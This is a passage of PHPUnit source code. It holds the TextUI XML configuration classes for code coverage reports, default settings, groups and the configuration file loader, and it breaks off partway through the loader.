VariableCollectionIterator($this); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use function count; use function iterator_count; use Countable; use Iterator; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @template-implements Iterator */ final class VariableCollectionIterator implements Countable, Iterator { /** * @psalm-var list */ private readonly array $variables; private int $position = 0; public function __construct(VariableCollection $variables) { $this->variables = $variables->asArray(); } public function count(): int { return iterator_count($this); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return $this->position < count($this->variables); } public function key(): int { return $this->position; } public function current(): Variable { return $this->variables[$this->position]; } public function next(): void { $this->position++; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage; use function count; use PHPUnit\TextUI\Configuration\Directory; use PHPUnit\TextUI\Configuration\FileCollection; use PHPUnit\TextUI\Configuration\FilterDirectoryCollection; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Clover; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Cobertura; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Crap4j; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Html; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Php; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Text; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Xml; use PHPUnit\TextUI\XmlConfiguration\Exception; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class CodeCoverage { private readonly ?Directory $cacheDirectory; private readonly FilterDirectoryCollection $directories; private readonly FileCollection $files; private readonly FilterDirectoryCollection $excludeDirectories; private readonly FileCollection $excludeFiles; private readonly bool $pathCoverage; private readonly bool $includeUncoveredFiles; private readonly bool $ignoreDeprecatedCodeUnits; private readonly bool $disableCodeCoverageIgnore; private readonly ?Clover $clover; private readonly ?Cobertura $cobertura; private readonly ?Crap4j $crap4j; private readonly ?Html $html; private readonly ?Php $php; private readonly ?Text $text; private readonly ?Xml $xml; public function __construct(?Directory $cacheDirectory, FilterDirectoryCollection $directories, FileCollection $files, FilterDirectoryCollection $excludeDirectories, FileCollection $excludeFiles, bool $pathCoverage, bool $includeUncoveredFiles, bool $ignoreDeprecatedCodeUnits, bool $disableCodeCoverageIgnore, ?Clover $clover, ?Cobertura $cobertura, ?Crap4j $crap4j, ?Html $html, ?Php $php, ?Text $text, ?Xml $xml) { $this->cacheDirectory = $cacheDirectory; $this->directories = $directories; $this->files = $files; $this->excludeDirectories = $excludeDirectories; $this->excludeFiles = $excludeFiles; $this->pathCoverage = $pathCoverage; $this->includeUncoveredFiles = $includeUncoveredFiles; $this->ignoreDeprecatedCodeUnits = $ignoreDeprecatedCodeUnits; $this->disableCodeCoverageIgnore = $disableCodeCoverageIgnore; $this->clover = $clover; $this->cobertura = $cobertura; $this->crap4j = $crap4j; $this->html = $html; $this->php = $php; $this->text = $text; $this->xml = $xml; } /** * @psalm-assert-if-true !null $this->cacheDirectory * * @deprecated */ public function hasCacheDirectory(): bool { return $this->cacheDirectory !== null; } /** * @throws Exception * * @deprecated */ public function cacheDirectory(): Directory { if (!$this->hasCacheDirectory()) { throw new Exception( 'No cache directory has been configured', ); } return $this->cacheDirectory; } public function hasNonEmptyListOfFilesToBeIncludedInCodeCoverageReport(): bool { return count($this->directories) > 0 || count($this->files) > 0; } public function directories(): FilterDirectoryCollection { return $this->directories; } public function files(): FileCollection { return $this->files; } public function excludeDirectories(): FilterDirectoryCollection { return $this->excludeDirectories; } public function excludeFiles(): FileCollection { return $this->excludeFiles; } public function pathCoverage(): bool { return $this->pathCoverage; } public function includeUncoveredFiles(): bool { return $this->includeUncoveredFiles; } public function ignoreDeprecatedCodeUnits(): bool { return $this->ignoreDeprecatedCodeUnits; } public function disableCodeCoverageIgnore(): bool { return $this->disableCodeCoverageIgnore; } /** * @psalm-assert-if-true !null $this->clover */ public function hasClover(): bool { return $this->clover !== null; } /** * @throws Exception */ public function clover(): Clover { if (!$this->hasClover()) { throw new Exception( 'Code Coverage report "Clover XML" has not been configured', ); } return $this->clover; } /** * @psalm-assert-if-true !null $this->cobertura */ public function hasCobertura(): bool { return $this->cobertura !== null; } /** * @throws Exception */ public function cobertura(): Cobertura { if (!$this->hasCobertura()) { throw new Exception( 'Code Coverage report "Cobertura XML" has not been configured', ); } return $this->cobertura; } /** * @psalm-assert-if-true !null $this->crap4j */ public function hasCrap4j(): bool { return $this->crap4j !== null; } /** * @throws Exception */ public function crap4j(): Crap4j { if (!$this->hasCrap4j()) { throw new Exception( 'Code Coverage report "Crap4J" has not been configured', ); } return $this->crap4j; } /** * @psalm-assert-if-true !null $this->html */ public function hasHtml(): bool { return $this->html !== null; } /** * @throws Exception */ public function html(): Html { if (!$this->hasHtml()) { throw new Exception( 'Code Coverage report "HTML" has not been configured', ); } return $this->html; } /** * @psalm-assert-if-true !null $this->php */ public function hasPhp(): bool { return $this->php !== null; } /** * @throws Exception */ public function php(): Php { if (!$this->hasPhp()) { throw new Exception( 'Code Coverage report "PHP" has not been configured', ); } return $this->php; } /** * @psalm-assert-if-true !null $this->text */ public function hasText(): bool { return $this->text !== null; } /** * @throws Exception */ public function text(): Text { if (!$this->hasText()) { throw new Exception( 'Code Coverage report "Text" has not been configured', ); } return $this->text; } /** * @psalm-assert-if-true !null $this->xml */ public function hasXml(): bool { return $this->xml !== null; } /** * @throws Exception */ public function xml(): Xml { if (!$this->hasXml()) { throw new Exception( 'Code Coverage report "XML" has not been configured', ); } return $this->xml; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report; use PHPUnit\TextUI\Configuration\File; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class Clover { private readonly File $target; public function __construct(File $target) { $this->target = $target; } public function target(): File { return $this->target; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report; use PHPUnit\TextUI\Configuration\File; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class Cobertura { private readonly File $target; public function __construct(File $target) { $this->target = $target; } public function target(): File { return $this->target; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report; use PHPUnit\TextUI\Configuration\File; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class Crap4j { private readonly File $target; private readonly int $threshold; public function __construct(File $target, int $threshold) { $this->target = $target; $this->threshold = $threshold; } public function target(): File { return $this->target; } public function threshold(): int { return $this->threshold; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report; use PHPUnit\TextUI\Configuration\Directory; use PHPUnit\TextUI\Configuration\NoCustomCssFileException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class Html { private readonly Directory $target; private readonly int $lowUpperBound; private readonly int $highLowerBound; private readonly string $colorSuccessLow; private readonly string $colorSuccessMedium; private readonly string $colorSuccessHigh; private readonly string $colorWarning; private readonly string $colorDanger; private readonly ?string $customCssFile; public function __construct(Directory $target, int $lowUpperBound, int $highLowerBound, string $colorSuccessLow, string $colorSuccessMedium, string $colorSuccessHigh, string $colorWarning, string $colorDanger, ?string $customCssFile) { $this->target = $target; $this->lowUpperBound = $lowUpperBound; $this->highLowerBound = $highLowerBound; $this->colorSuccessLow = $colorSuccessLow; $this->colorSuccessMedium = $colorSuccessMedium; $this->colorSuccessHigh = $colorSuccessHigh; $this->colorWarning = $colorWarning; $this->colorDanger = $colorDanger; $this->customCssFile = $customCssFile; } public function target(): Directory { return $this->target; } public function lowUpperBound(): int { return $this->lowUpperBound; } public function highLowerBound(): int { return $this->highLowerBound; } public function colorSuccessLow(): string { return $this->colorSuccessLow; } public function colorSuccessMedium(): string { return $this->colorSuccessMedium; } public function colorSuccessHigh(): string { return $this->colorSuccessHigh; } public function colorWarning(): string { return $this->colorWarning; } public function colorDanger(): string { return $this->colorDanger; } /** * @psalm-assert-if-true !null $this->customCssFile */ public function hasCustomCssFile(): bool { return $this->customCssFile !== null; } /** * @throws NoCustomCssFileException */ public function customCssFile(): string { if (!$this->hasCustomCssFile()) { throw new NoCustomCssFileException; } return $this->customCssFile; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report; use PHPUnit\TextUI\Configuration\File; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class Php { private readonly File $target; public function __construct(File $target) { $this->target = $target; } public function target(): File { return $this->target; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report; use PHPUnit\TextUI\Configuration\File; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class Text { private readonly File $target; private readonly bool $showUncoveredFiles; private readonly bool $showOnlySummary; public function __construct(File $target, bool $showUncoveredFiles, bool $showOnlySummary) { $this->target = $target; $this->showUncoveredFiles = $showUncoveredFiles; $this->showOnlySummary = $showOnlySummary; } public function target(): File { return $this->target; } public function showUncoveredFiles(): bool { return $this->showUncoveredFiles; } public function showOnlySummary(): bool { return $this->showOnlySummary; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report; use PHPUnit\TextUI\Configuration\Directory; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class Xml { private readonly Directory $target; public function __construct(Directory $target) { $this->target = $target; } public function target(): Directory { return $this->target; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use PHPUnit\TextUI\Configuration\ExtensionBootstrapCollection; use PHPUnit\TextUI\Configuration\Php; use PHPUnit\TextUI\Configuration\Source; use PHPUnit\TextUI\Configuration\TestSuiteCollection; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\CodeCoverage; use PHPUnit\TextUI\XmlConfiguration\Logging\Logging; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ abstract class Configuration { private readonly ExtensionBootstrapCollection $extensions; private readonly Source $source; private readonly CodeCoverage $codeCoverage; private readonly Groups $groups; private readonly Logging $logging; private readonly Php $php; private readonly PHPUnit $phpunit; private readonly TestSuiteCollection $testSuite; public function __construct(ExtensionBootstrapCollection $extensions, Source $source, CodeCoverage $codeCoverage, Groups $groups, Logging $logging, Php $php, PHPUnit $phpunit, TestSuiteCollection $testSuite) { $this->extensions = $extensions; $this->source = $source; $this->codeCoverage = $codeCoverage; $this->groups = $groups; $this->logging = $logging; $this->php = $php; $this->phpunit = $phpunit; $this->testSuite = $testSuite; } public function extensions(): ExtensionBootstrapCollection { return $this->extensions; } public function source(): Source { return $this->source; } public function codeCoverage(): CodeCoverage { return $this->codeCoverage; } public function groups(): Groups { return $this->groups; } public function logging(): Logging { return $this->logging; } public function php(): Php { return $this->php; } public function phpunit(): PHPUnit { return $this->phpunit; } public function testSuite(): TestSuiteCollection { return $this->testSuite; } /** * @psalm-assert-if-true DefaultConfiguration $this */ public function isDefault(): bool { return false; } /** * @psalm-assert-if-true LoadedFromFileConfiguration $this */ public function wasLoadedFromFile(): bool { return false; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use PHPUnit\Runner\TestSuiteSorter; use PHPUnit\TextUI\Configuration\ConstantCollection; use PHPUnit\TextUI\Configuration\DirectoryCollection; use PHPUnit\TextUI\Configuration\ExtensionBootstrapCollection; use PHPUnit\TextUI\Configuration\FileCollection; use PHPUnit\TextUI\Configuration\FilterDirectoryCollection as CodeCoverageFilterDirectoryCollection; use PHPUnit\TextUI\Configuration\GroupCollection; use PHPUnit\TextUI\Configuration\IniSettingCollection; use PHPUnit\TextUI\Configuration\Php; use PHPUnit\TextUI\Configuration\Source; use PHPUnit\TextUI\Configuration\TestSuiteCollection; use PHPUnit\TextUI\Configuration\VariableCollection; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\CodeCoverage; use PHPUnit\TextUI\XmlConfiguration\Logging\Logging; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class DefaultConfiguration extends Configuration { public static function create(): self { return new self( ExtensionBootstrapCollection::fromArray([]), new Source( null, false, CodeCoverageFilterDirectoryCollection::fromArray([]), FileCollection::fromArray([]), CodeCoverageFilterDirectoryCollection::fromArray([]), FileCollection::fromArray([]), false, false, false, false, false, false, false, false, false, false, ), new CodeCoverage( null, CodeCoverageFilterDirectoryCollection::fromArray([]), FileCollection::fromArray([]), CodeCoverageFilterDirectoryCollection::fromArray([]), FileCollection::fromArray([]), false, true, false, false, null, null, null, null, null, null, null, ), new Groups( GroupCollection::fromArray([]), GroupCollection::fromArray([]), ), new Logging( null, null, null, null, ), new Php( DirectoryCollection::fromArray([]), IniSettingCollection::fromArray([]), ConstantCollection::fromArray([]), VariableCollection::fromArray([]), VariableCollection::fromArray([]), VariableCollection::fromArray([]), VariableCollection::fromArray([]), VariableCollection::fromArray([]), VariableCollection::fromArray([]), VariableCollection::fromArray([]), VariableCollection::fromArray([]), ), new PHPUnit( null, true, null, 80, \PHPUnit\TextUI\Configuration\Configuration::COLOR_DEFAULT, false, false, false, false, false, false, false, false, false, false, false, null, false, false, false, false, true, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, null, false, false, true, false, false, 1, 1, 10, 60, null, TestSuiteSorter::ORDER_DEFAULT, true, false, false, false, false, false, false, 100, ), TestSuiteCollection::fromArray([]), ); } public function isDefault(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Exception extends RuntimeException implements \PHPUnit\Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function str_replace; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Generator { /** * @var string */ private const TEMPLATE = <<<'EOT' {tests_directory} {src_directory} EOT; public function generateDefaultConfiguration(string $phpunitVersion, string $bootstrapScript, string $testsDirectory, string $srcDirectory, string $cacheDirectory): string { return str_replace( [ '{phpunit_version}', '{bootstrap_script}', '{tests_directory}', '{src_directory}', '{cache_directory}', ], [ $phpunitVersion, $bootstrapScript, $testsDirectory, $srcDirectory, $cacheDirectory, ], self::TEMPLATE, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use PHPUnit\TextUI\Configuration\GroupCollection; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class Groups { private readonly GroupCollection $include; private readonly GroupCollection $exclude; public function __construct(GroupCollection $include, GroupCollection $exclude) { $this->include = $include; $this->exclude = $exclude; } public function hasInclude(): bool { return !$this->include->isEmpty(); } public function include(): GroupCollection { return $this->include; } public function hasExclude(): bool { return !$this->exclude->isEmpty(); } public function exclude(): GroupCollection { return $this->exclude; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use PHPUnit\TextUI\Configuration\ExtensionBootstrapCollection; use PHPUnit\TextUI\Configuration\Php; use PHPUnit\TextUI\Configuration\Source; use PHPUnit\TextUI\Configuration\TestSuiteCollection; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\CodeCoverage; use PHPUnit\TextUI\XmlConfiguration\Logging\Logging; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class LoadedFromFileConfiguration extends Configuration { private readonly string $filename; private readonly ValidationResult $validationResult; public function __construct(string $filename, ValidationResult $validationResult, ExtensionBootstrapCollection $extensions, Source $source, CodeCoverage $codeCoverage, Groups $groups, Logging $logging, Php $php, PHPUnit $phpunit, TestSuiteCollection $testSuite) { $this->filename = $filename; $this->validationResult = $validationResult; parent::__construct( $extensions, $source, $codeCoverage, $groups, $logging, $php, $phpunit, $testSuite, ); } public function filename(): string { return $this->filename; } public function hasValidationErrors(): bool { return $this->validationResult->hasValidationErrors(); } public function validationErrors(): string { return $this->validationResult->asString(); } public function wasLoadedFromFile(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use const DIRECTORY_SEPARATOR; use const PHP_VERSION; use function assert; use function defined; use function dirname; use function explode; use function is_numeric; use function preg_match; use function realpath; use function str_contains; use function str_starts_with; use function strlen; use function strtolower; use function substr; use function trim; use DOMDocument; use DOMElement; use DOMNode; use DOMXPath; use PHPUnit\Runner\TestSuiteSorter; use PHPUnit\Runner\Version; use PHPUnit\TextUI\Configuration\Configuration; use PHPUnit\TextUI\Configuration\Constant; use PHPUnit\TextUI\Configuration\ConstantCollection; use PHPUnit\TextUI\Configuration\Directory; use PHPUnit\TextUI\Configuration\DirectoryCollection; use PHPUnit\TextUI\Configuration\ExtensionBootstrap; use PHPUnit\TextUI\Configuration\ExtensionBootstrapCollection; use PHPUnit\TextUI\Configuration\File; use PHPUnit\TextUI\Configuration\FileCollection; use PHPUnit\TextUI\Configuration\FilterDirectory; use PHPUnit\TextUI\Configuration\FilterDirectoryCollection; use PHPUnit\TextUI\Configuration\Group; use PHPUnit\TextUI\Configuration\GroupCollection; use PHPUnit\TextUI\Configuration\IniSetting; use PHPUnit\TextUI\Configuration\IniSettingCollection; use PHPUnit\TextUI\Configuration\Php; use PHPUnit\TextUI\Configuration\Source; use PHPUnit\TextUI\Configuration\TestDirectory; use PHPUnit\TextUI\Configuration\TestDirectoryCollection; use PHPUnit\TextUI\Configuration\TestFile; use PHPUnit\TextUI\Configuration\TestFileCollection; use PHPUnit\TextUI\Configuration\TestSuite as TestSuiteConfiguration; use PHPUnit\TextUI\Configuration\TestSuiteCollection; use PHPUnit\TextUI\Configuration\Variable; use PHPUnit\TextUI\Configuration\VariableCollection; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\CodeCoverage; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Clover; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Cobertura; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Crap4j; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Html as CodeCoverageHtml; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Php as CodeCoveragePhp; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Text as CodeCoverageText; use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Xml as CodeCoverageXml; use PHPUnit\TextUI\XmlConfiguration\Logging\Junit; use PHPUnit\TextUI\XmlConfiguration\Logging\Logging; use PHPUnit\TextUI\XmlConfiguration\Logging\TeamCity; use PHPUnit\TextUI\XmlConfiguration\Logging\TestDox\Html as TestDoxHtml; use PHPUnit\TextUI\XmlConfiguration\Logging\TestDox\Text as TestDoxText; use PHPUnit\Util\VersionComparisonOperator; use PHPUnit\Util\Xml\Loader as XmlLoader; use PHPUnit\Util\Xml\XmlException; use SebastianBergmann\CodeCoverage\Report\Html\Colors; use SebastianBergmann\CodeCoverage\Report\Thresholds; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Loader { /** * @throws Exception */ public function load(string $filename): LoadedFromFileConfiguration { try { $document = (new XmlLoader)->loadFile($filename); } catch (XmlException $e) { throw new Exception( $e->getMessage(), $e->getCode(), $e, ); } $xpath = new DOMXPath($document); try { $xsdFilename = (new SchemaFinder)->find(Version::series()); } catch (CannotFindSchemaException $e) { throw new Exception( $e->getMessage(), $e->getCode(), $e, ); } $configurationFileRealpath = realpath($filename); return new LoadedFromFileConfiguration( $configurationFileRealpath, (new Validator)->validate($document, $xsdFilename), $this->extensions($xpath), $this->source($configurationFileRealpath, $xpath), $this->codeCoverage($configurationFileRealpath, $xpath), $this->groups($xpath), $this->logging($configurationFileRealpath, $xpath), $this->php($configurationFileRealpath, $xpath), $this->phpunit($configurationFileRealpath, $document), $this->testSuite($configurationFileRealpath, $xpath), ); } private function logging(string $filename, DOMXPath $xpath): Logging { $junit = null; $element = $this->element($xpath, 'logging/junit'); if ($element) { $junit = new Junit( new File( $this->toAbsolutePath( $filename, (string) $this->getStringAttribute($element, 'outputFile'), ), ), ); } $teamCity = null; $element = $this->element($xpath, 'logging/teamcity'); if ($element) { $teamCity = new TeamCity( new File( $this->toAbsolutePath( $filename, (string) $this->getStringAttribute($element, 'outputFile'), ), ), ); } $testDoxHtml = null; $element = $this->element($xpath, 'logging/testdoxHtml'); if ($element) { $testDoxHtml = new TestDoxHtml( new File( $this->toAbsolutePath( $filename, (string) $this->getStringAttribute($element, 'outputFile'), ), ), ); } $testDoxText = null; $element = $this->element($xpath, 'logging/testdoxText'); if ($element) { $testDoxText = new TestDoxText( new File( $this->toAbsolutePath( $filename, (string) $this->getStringAttribute($element, 'outputFile'), ), ), ); } return new Logging( $junit, $teamCity, $testDoxHtml, $testDoxText, ); } private function extensions(DOMXPath $xpath): ExtensionBootstrapCollection { $extensionBootstrappers = []; foreach ($xpath->query('extensions/bootstrap') as $bootstrap) { assert($bootstrap instanceof DOMElement); $parameters = []; foreach ($xpath->query('parameter', $bootstrap) as $parameter) { assert($parameter instanceof DOMElement); $parameters[$parameter->getAttribute('name')] = $parameter->getAttribute('value'); } $extensionBootstrappers[] = new ExtensionBootstrap( $bootstrap->getAttribute('class'), $parameters, ); } return ExtensionBootstrapCollection::fromArray($extensionBootstrappers); } /** * @psalm-return non-empty-string */ private function toAbsolutePath(string $filename, string $path): string { $path = trim($path); if (str_starts_with($path, '/')) { return $path; } // Matches the following on Windows: // - \\NetworkComputer\Path // - \\.\D: // - \\.\c: // - C:\Windows // - C:\windows // - C:/windows // - c:/windows if (defined('PHP_WINDOWS_VERSION_BUILD') && !empty($path) && ($path[0] === '\\' || (strlen($path) >= 3 && preg_match('#^[A-Z]:[/\\\]#i', substr($path, 0, 3))))) { return $path; } if (str_contains($path, '://')) { return $path; } return dirname($filename) . DIRECTORY_SEPARATOR . $path; } private function source(string $filename, DOMXPath $xpath): Source { $baseline = null; $restrictDeprecations = false; $restrictNotices = false; $restrictWarnings = false; $ignoreSuppressionOfDeprecations = false; $ignoreSuppressionOfPhpDeprecations = false; $ignoreSuppressionOfErrors = false; $ignoreSuppressionOfNotices = false; $ignoreSuppressionOfPhpNotices = false; $ignoreSuppressionOfWarnings = false; $ignoreSuppressionOfPhpWarnings = false; $element = $this->element($xpath, 'source'); if ($element) { $baseline = $this->getStringAttribute($element, 'baseline'); if ($baseline !== null) { $baseline = $this->toAbsolutePath($filename, $baseline); } $restrictDeprecations = $this->getBooleanAttribute($element, 'restrictDeprecations', false); $restrictNotices = $this->getBooleanAttribute($element, 'restrictNotices', false); $restrictWarnings = $this->getBooleanAttribute($element, 'restrictWarnings', false); $ignoreSuppressionOfDeprecations = $this->getBooleanAttribute($element, 'ignoreSuppressionOfDeprecations', false); $ignoreSuppressionOfPhpDeprecations = $this->getBooleanAttribute($element, 'ignoreSuppressionOfPhpDeprecations', false); $ignoreSuppressionOfErrors = $this->getBooleanAttribute($element, 'ignoreSuppressionOfErrors', false); $ignoreSuppressionOfNotices = $this->getBooleanAttribute($element, 'ignoreSuppressionOfNotices', false); $ignoreSuppressionOfPhpNotices = $this->getBooleanAttribute($element, 'ignoreSuppressionOfPhpNotices', false); $ignoreSuppressionOfWarnings = $this->getBooleanAttribute($element, 'ignoreSuppressionOfWarnings', false); $ignoreSuppressionOfPhpWarnings = $this->getBooleanAttribute($element, 'ignoreSuppressionOfPhpWarnings', false); } return new Source( $baseline, false, $this->readFilterDirectories($filename, $xpath, 'source/include/directory'), $this->readFilterFiles($filename, $xpath, 'source/include/file'), $this->readFilterDirectories($filename, $xpath, 'source/exclude/directory'), $this->readFilterFiles($filename, $xpath, 'source/exclude/file'), $restrictDeprecations, $restrictNotices, $restrictWarnings, $ignoreSuppressionOfDeprecations, $ignoreSuppressionOfPhpDeprecations, $ignoreSuppressionOfErrors, $ignoreSuppressionOfNotices, $ignoreSuppressionOfPhpNotices, $ignoreSuppressionOfWarnings, $ignoreSuppressionOfPhpWarnings, ); } private function codeCoverage(string $filename, DOMXPath $xpath): CodeCoverage { $cacheDirectory = null; $pathCoverage = false; $includeUncoveredFiles = true; $ignoreDeprecatedCodeUnits = false; $disableCodeCoverageIgnore = false; $element = $this->element($xpath, 'coverage'); if ($element) { $cacheDirectory = $this->getStringAttribute($element, 'cacheDirectory'); if ($cacheDirectory !== null) { $cacheDirectory = new Directory( $this->toAbsolutePath($filename, $cacheDirectory), ); } $pathCoverage = $this->getBooleanAttribute( $element, 'pathCoverage', false, ); $includeUncoveredFiles = $this->getBooleanAttribute( $element, 'includeUncoveredFiles', true, ); $ignoreDeprecatedCodeUnits = $this->getBooleanAttribute( $element, 'ignoreDeprecatedCodeUnits', false, ); $disableCodeCoverageIgnore = $this->getBooleanAttribute( $element, 'disableCodeCoverageIgnore', false, ); } $clover = null; $element = $this->element($xpath, 'coverage/report/clover'); if ($element) { $clover = new Clover( new File( $this->toAbsolutePath( $filename, (string) $this->getStringAttribute($element, 'outputFile'), ), ), ); } $cobertura = null; $element = $this->element($xpath, 'coverage/report/cobertura'); if ($element) { $cobertura = new Cobertura( new File( $this->toAbsolutePath( $filename, (string) $this->getStringAttribute($element, 'outputFile'), ), ), ); } $crap4j = null; $element = $this->element($xpath, 'coverage/report/crap4j'); if ($element) { $crap4j = new Crap4j( new File( $this->toAbsolutePath( $filename, (string) $this->getStringAttribute($element, 'outputFile'), ), ), $this->getIntegerAttribute($element, 'threshold', 30), ); } $html = null; $element = $this->element($xpath, 'coverage/report/html'); if ($element) { $defaultColors = Colors::default(); $defaultThresholds = Thresholds::default(); $html = new CodeCoverageHtml( new Directory( $this->toAbsolutePath( $filename, (string) $this->getStringAttribute($element, 'outputDirectory'), ), ), $this->getIntegerAttribute($element, 'lowUpperBound', $defaultThresholds->lowUpperBound()), $this->getIntegerAttribute($element, 'highLowerBound', $defaultThresholds->highLowerBound()), $this->getStringAttributeWithDefault($element, 'colorSuccessLow', $defaultColors->successLow()), $this->getStringAttributeWithDefault($element, 'colorSuccessMedium', $defaultColors->successMedium()), $this->getStringAttributeWithDefault($element, 'colorSuccessHigh', $defaultColors->successHigh()), $this->getStringAttributeWithDefault($element, 'colorWarning', $defaultColors->warning()), $this->getStringAttributeWithDefault($element, 'colorDanger', $defaultColors->danger()), $this->getStringAttribute($element, 'customCssFile'), ); } $php = null; $element = $this->element($xpath, 'coverage/report/php'); if ($element) { $php = new CodeCoveragePhp( new File( $this->toAbsolutePath( $filename, (string) $this->getStringAttribute($element, 'outputFile'), ), ), ); } $text = null; $element = $this->element($xpath, 'coverage/report/text'); if ($element) { $text = new CodeCoverageText( new File( $this->toAbsolutePath( $filename, (string) $this->getStringAttribute($element, 'outputFile'), ), ), $this->getBooleanAttribute($element, 'showUncoveredFiles', false), $this->getBooleanAttribute($element, 'showOnlySummary', false), ); } $xml = null; $element = $this->element($xpath, 'coverage/report/xml'); if ($element) { $xml = new CodeCoverageXml( new Directory( $this->toAbsolutePath( $filename, (string) $this->getStringAttribute($element, 'outputDirectory'), ), ), ); } return new CodeCoverage( $cacheDirectory, $this->readFilterDirectories($filename, $xpath, 'coverage/include/directory'), $this->readFilterFiles($filename, $xpath, 'coverage/include/file'), $this->readFilterDirectories($filename, $xpath, 'coverage/exclude/directory'), $this->readFilterFiles($filename, $xpath, 'coverage/exclude/file'), $pathCoverage, $includeUncoveredFiles, $ignoreDeprecatedCodeUnits, $disableCodeCoverageIgnore, $clover, $cobertura, $crap4j, $html, $php, $text, $xml, ); } private function getBoolean(string $value, bool $default): bool { if (strtolower($value) === 'false') { return false; } if (strtolower($value) === 'true') { return true; } return $default; } private function getValue(string $value): bool|string { if (strtolower($value) === 'false') { return false; } if (strtolower($value) === 'true') { return true; } return $value; } private function readFilterDirectories(string $filename, DOMXPath $xpath, string $query): FilterDirectoryCollection { $directories = []; foreach ($xpath->query($query) as $directoryNode) { assert($directoryNode instanceof DOMElement); $directoryPath = $directoryNode->textContent; if 